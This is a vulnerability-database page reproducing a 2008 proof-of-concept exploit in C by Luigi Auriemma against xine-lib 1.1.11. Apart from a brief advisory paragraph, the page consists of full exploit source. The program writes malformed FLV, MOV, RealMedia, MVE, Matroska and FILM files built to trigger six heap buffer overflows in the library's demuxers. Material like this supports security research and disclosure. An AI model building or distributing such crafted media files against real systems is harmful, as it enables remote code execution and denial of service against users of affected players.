Lucene search
K

Xine-Lib 1.1.11 - Multiple Heap Remote Buffer Overflow Vulnerabilities

🗓️ 20 Mar 2008 00:00:00Reported by Luigi AuriemmaType 
exploitpack
 exploitpack
👁 31 Views

Xine-Lib 1.1.11 - Heap-based Buffer-Overflow Vulnerabilitie

Code
// source: https://www.securityfocus.com/bid/28370/info

The 'xine-lib' library is prone to multiple heap-based buffer-overflow vulnerabilities because it fails to perform adequate boundary checks on user-supplied input.

Attackers can exploit these issues to execute arbitrary code in the context of applications that use the library. Failed attacks will cause denial-of-service conditions.

These issues affect xine-lib 1.1.11; other versions may also be affected.

/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

typedef uint8_t     u8;
typedef uint16_t    u16;
typedef uint32_t    u32;
typedef int64_t     i64;
typedef uint64_t    u64;



#define VER         "0.1"
#define BUFFSZ      0xffff



#define BE_FOURCC( ch0, ch1, ch2, ch3 )             \
        ( (uint32_t)(unsigned char)(ch3) |          \
        ( (uint32_t)(unsigned char)(ch2) << 8 ) |   \
        ( (uint32_t)(unsigned char)(ch1) << 16 ) |  \
        ( (uint32_t)(unsigned char)(ch0) << 24 ) )
#define FLV_FLAG_HAS_VIDEO       0x01
#define FLV_FLAG_HAS_AUDIO       0x04
#define FLV_TAG_TYPE_SCRIPT      0x12
#define FLV_DATA_TYPE_NUMBER     0x00
#define FLV_DATA_TYPE_OBJECT     0x03
#define FLV_DATA_TYPE_ENDOBJECT  0x09
#define FLV_DATA_TYPE_ARRAY      0x0a
#define MOOV_ATOM BE_FOURCC('m', 'o', 'o', 'v')
#define RMRA_ATOM BE_FOURCC('r', 'm', 'r', 'a')
#define RDRF_ATOM BE_FOURCC('r', 'd', 'r', 'f')
#define RMF_TAG   BE_FOURCC('.', 'R', 'M', 'F')
#define PROP_TAG  BE_FOURCC('P', 'R', 'O', 'P')
#define MDPR_TAG  BE_FOURCC('M', 'D', 'P', 'R')
#define DATA_TAG  BE_FOURCC('D', 'A', 'T', 'A')
#define INDX_TAG  BE_FOURCC('I', 'N', 'D', 'X')
#define VIDO_TAG  BE_FOURCC('V', 'I', 'D', 'O')
#define DATA_CHUNK_HEADER_SIZE 10
#define FORM_TAG BE_FOURCC('F', 'O', 'R', 'M')
#define MOVE_TAG BE_FOURCC('M', 'O', 'V', 'E')
#define PC_TAG   BE_FOURCC('_', 'P', 'C', '_')
#define PALT_TAG BE_FOURCC('P', 'A', 'L', 'T')
#define PALETTE_SIZE 256
#define PALETTE_CHUNK_SIZE (PALETTE_SIZE * 3)
#define EBML_ID_EBML                0x1A45DFA3
#define EBML_ID_DOCTYPE             0x4282
#define GST_EBML_SIZE_UNKNOWN       0x00ffffffffffffffULL
#define GST_EBML_ID_VOID            0xEC
#define FILM_TAG BE_FOURCC('F', 'I', 'L', 'M')
#define STAB_TAG BE_FOURCC('S', 'T', 'A', 'B')



int gst_ebml_write_element_id(u8 *data, u32 id); // from Gstreamer
int gst_ebml_write_element_size(u8 *data, i64 size);  // from Gstreamer
int putcc(u8 *data, int chr, int len);
int putss(u8 *data, u8 *str);
int putxb(u8 *data, u64 num, int bits);
int putxi(u8 *data, u64 num, int bits);
void std_err(void);



int main(int argc, char *argv[]) {
    FILE    *fd;
    int     i,
            attack;
    u8      *buff,
            *fname,
            *psize,
            *p;

    setbuf(stdout, NULL);

    fputs("\n"
        "xine-lib <= 1.1.11 multiple heap overflows "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: [email protected]\n"
        "web:    aluigi.org\n"
        "\n", stdout);

    if(argc < 3) {
        printf("\n"
            "Usage: %s <attack> <output_file>\n"
            "\n"
            "Attacks:\n"
            " 1 = heap overflow in demux_flv (file.FLV)\n"
            " 2 = heap overflow in demux_qt (file.MOV)\n"
            " 3 = heap overflow in demux_real (file.RM)\n"
            " 4 = heap overflow in demux_wc3movie (file.MVE)\n"
            " 5 = heap overflow in ebml.c (file.MKV)\n"
            " 6 = heap overflow in demux_film.c (file.CAK)\n"
            "\n", argv[0]);
        exit(1);
    }

    attack = atoi(argv[1]);
    fname = argv[2];

    buff = malloc(BUFFSZ);
    if(!buff) std_err();

    p = buff;
    if(attack == 1) {
        p += putss(p, "FLV\x01");
        *p++ = FLV_FLAG_HAS_VIDEO | FLV_FLAG_HAS_AUDIO;
        p += putxb(p, 9,            32);
        p += putxb(p, 0,            32);
        p += putxb(p, FLV_TAG_TYPE_SCRIPT, 8);  // tag_type
        psize = p; p += 3;
        p += putxb(p, 0,            32);        // pts
        p += putxb(p, 0,            24);
        p += putxb(p, FLV_DATA_TYPE_OBJECT, 8);
        p += putxb(p, 13,           16);
        p += putss(p, "filepositions");
        p += putxb(p, FLV_DATA_TYPE_ARRAY, 8);
        p += putxb(p, 0x20000000,   32);
        for(i = 0; i < 4000; i++) {
            p += putxb(p, FLV_DATA_TYPE_NUMBER, 8);
            p += putxb(p, 0x4141414141414141ULL, 64);
        }
        p += putxb(p, FLV_DATA_TYPE_ENDOBJECT, 8);  // useless
        putxb(psize, p - (psize + 3 + 4 + 3),   24);

    } else if(attack == 2) {
        p += putxb(p, 8000 - 24,    32);
        p += putxb(p, MOOV_ATOM,    32);
        p += putxb(p, 8000 - 16,    32);
        p += putxb(p, RMRA_ATOM,    32);
        p += putxb(p, 8000 - 8,     32);
        p += putxb(p, RDRF_ATOM,    32);
        p += putxb(p, 0,            32);    // i + 4
        p += putxb(p, 0,            32);    // i + 8
        p += putxb(p, 0xffffffff,   32);    // i + 12
        p += putcc(p, 'A',          8000 - 12);

    } else if(attack == 3) {
        p += putxb(p, RMF_TAG,      32);
        p += putxb(p, 8,            32);
        p += putxb(p, MDPR_TAG,     32);
        psize = p; p += 4;
        p += putxb(p, 0,            16);
        p += putxb(p, 1,            16);    // mdpr->stream_number
        p += putxb(p, 0,            32);    // mdpr->max_bit_rate
        p += putxb(p, 0,            32);    // mdpr->avg_bit_rate
        p += putxb(p, 0,            32);    // mdpr->max_packet_size
        p += putxb(p, 0,            32);    // mdpr->avg_packet_size
        p += putxb(p, 0,            32);    // mdpr->start_time
        p += putxb(p, 0,            32);    // mdpr->preroll
        p += putxb(p, 0,            32);    // mdpr->duration
        p += putxb(p, 0,            8);     // mdpr->stream_name_size
                                            // mdpr->stream_name
        p += putxb(p, 0,            8);     // 
mdpr->mime_type_size=data[33+mdpr->stream_name_size];
                                            // mdpr->mime_type
        p += putxb(p, 8,            32);    // mdpr->type_specific_len
        p += putxb(p, VIDO_TAG,     32);    // mdpr->type_specific_data
        p += putxb(p, VIDO_TAG,     32);    // mdpr->type_specific_data
        putxb(psize, (p - psize) + 4, 32);
        p += putxb(p, PROP_TAG,     32);
        psize = p; p += 4;
        p += putxb(p, 0,            16);
        p += putxb(p, 0,            32);
        p += putxb(p, 1,            32);    // avg_bitrate
        p += putxb(p, 0,            32);
        p += putxb(p, 0,            32);
        p += putxb(p, 0,            32);
        p += putxb(p, 0,            32);    // this->duration
        p += putxb(p, 0,            32);
        p += putxb(p, (p - buff) + 8 + 8 + DATA_CHUNK_HEADER_SIZE, 32); 
// this->index_start
        p += putxb(p, 0,            32);    // this->data_start
        putxb(psize, (p - psize) + 4, 32);
        p += putxb(p, DATA_TAG,     32);
        psize = p; p += 4;
        p += putxb(p, 0,            16);
        p += putxb(p, 0,            32);    // 
this->current_data_chunk_packet_count
        p += putxb(p, 0,            32);    // 
this->next_data_chunk_offset
        p += putxb(p, INDX_TAG,     32);
        p += putxb(p, 0,            32);
        p += putxb(p, 0,            16);
        p += putxb(p, 0x15555556,   32);    // entries
        p += putxb(p, 1,            16);    // stream_num
        p += putxb(p, 0,            32);    // next_index_chunk
        for(i = 0; i < 4000; i++) {
            p += putxb(p, 0x41414141, 32);
            p += putxb(p, 0x41414141, 32);
            p += putxb(p, 0x41414141, 32);
        }
        putxb(psize, (p - psize) + 4, 32);

    } else if(attack == 4) {
        p += putxb(p, FORM_TAG,     32);
        p += putxb(p, 0,            32);
        p += putxb(p, MOVE_TAG,     32);
        p += putxb(p, PC_TAG,       32);
        p += putxb(p, 0,            32);
        p += putxb(p, 0,            32);
        p += putxb(p, 0,            32);
        p += putxi(p, 0x555556,     32);    // this->number_of_shots
        p += putxb(p, 0,            32);
        p += putxb(p, 0,            32);
        p += putxb(p, 0,            32);
        for(i = 0; i < 80; i++) {
            p += putxb(p, PALT_TAG, 32);
            p += putxb(p, PALETTE_CHUNK_SIZE, 32);
            p += putcc(p, 13,     PALETTE_CHUNK_SIZE);  // -> 0x48
        }

    } else if(attack == 5) {
        p += gst_ebml_write_element_id(p, EBML_ID_EBML);
        p += gst_ebml_write_element_size(p, 8000);  // not perfect
        p += gst_ebml_write_element_id(p, EBML_ID_DOCTYPE);
        p += gst_ebml_write_element_size(p, 0xffffffff);
        p += putcc(p, 'A',          8000);

    } else if(attack == 6) {
        p += putss(p, "FILM");
        p += 4;
        p += putss(p, "1.09");
        p += putxb(p, 0,            32);
        p += putxb(p, STAB_TAG,     32);
        psize = p; p += 4;
        p += putxb(p, 44100,        32);
        p += putxb(p, 0x71c71c8,    32);    // sizeof(film_sample_t) is 
36 bytes
        for(i = 0; i < 3000; i++) {
            p += putxb(p, 0x41414141, 32);
            p += putxb(p, 0x41414141, 32);
            p += putxb(p, 0x41414141, 32);
            p += putxb(p, 0x41414141, 32);
        }
        putxb(psize, (p - psize) - 40,     32);
        putxb(buff + 4, (p - psize) - 8 - 16, 32);

    } else {
        printf("\nError: wrong attack number (%d)\n", attack);
        exit(1);
    }

    printf("- create file %s\n", fname);
    fd = fopen(fname, "wb");
    if(!fd) std_err();
    printf("- write %u bytes\n", p - buff);
    fwrite(buff, 1, p - buff, fd);
    fclose(fd);

    printf("- done\n");
    return(0);
}



int gst_ebml_write_element_id(u8 *data, u32 id) { // from Gstreamer
  int ret, bytes = 4, mask = 0x10;

  while (!(id & (mask << ((bytes - 1) * 8))) && bytes > 0) {
    mask <<= 1;
    bytes--;
  }

  if (bytes == 0) {
    bytes = 1;
    id = GST_EBML_ID_VOID;
  }

  ret = bytes;
  while (bytes--) {
    data[bytes] = id & 0xff;
    id >>= 8;
  }
  return(ret);
}



int gst_ebml_write_element_size(u8 *data, i64 size) {  // from Gstreamer
  int ret, bytes = 1, mask = 0x80;

  if (size != GST_EBML_SIZE_UNKNOWN) {
    while ((size >> ((bytes - 1) * 8)) >= (mask - 1) && bytes <= 8) {
      mask >>= 1;
      bytes++;
    }

    if (bytes > 8) {
      mask = 0x01;
      bytes = 8;
      size = GST_EBML_SIZE_UNKNOWN;
    }
  } else {
    mask = 0x01;
    bytes = 8;
  }

  ret = bytes;
  while (bytes-- > 0) {
    data[bytes] = size & 0xff;
    size >>= 8;
    if (!bytes)
      *data |= mask;
  }
  return(ret);
}



int putcc(u8 *data, int chr, int len) {
    memset(data, chr, len);
    return(len);
}



int putss(u8 *data, u8 *str) {
    int     len;

    len = strlen(str);
    memcpy(data, str, len);
    return(len);
}



int putxb(u8 *data, u64 num, int bits) {
    int     i,
            bytes;

    bytes = bits >> 3;
    for(i = 0; i < bytes; i++) {
        data[i] = (num >> ((bytes - 1 - i) << 3)) & 0xff;
    }
    return(bytes);
}



int putxi(u8 *data, u64 num, int bits) {
    int     i,
            bytes;

    bytes = bits >> 3;
    for(i = 0; i < bytes; i++) {
        data[i] = (num >> (i << 3)) & 0xff;
    }
    return(bytes);
}



void std_err(void) {
    perror("\nError");
    exit(1);
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation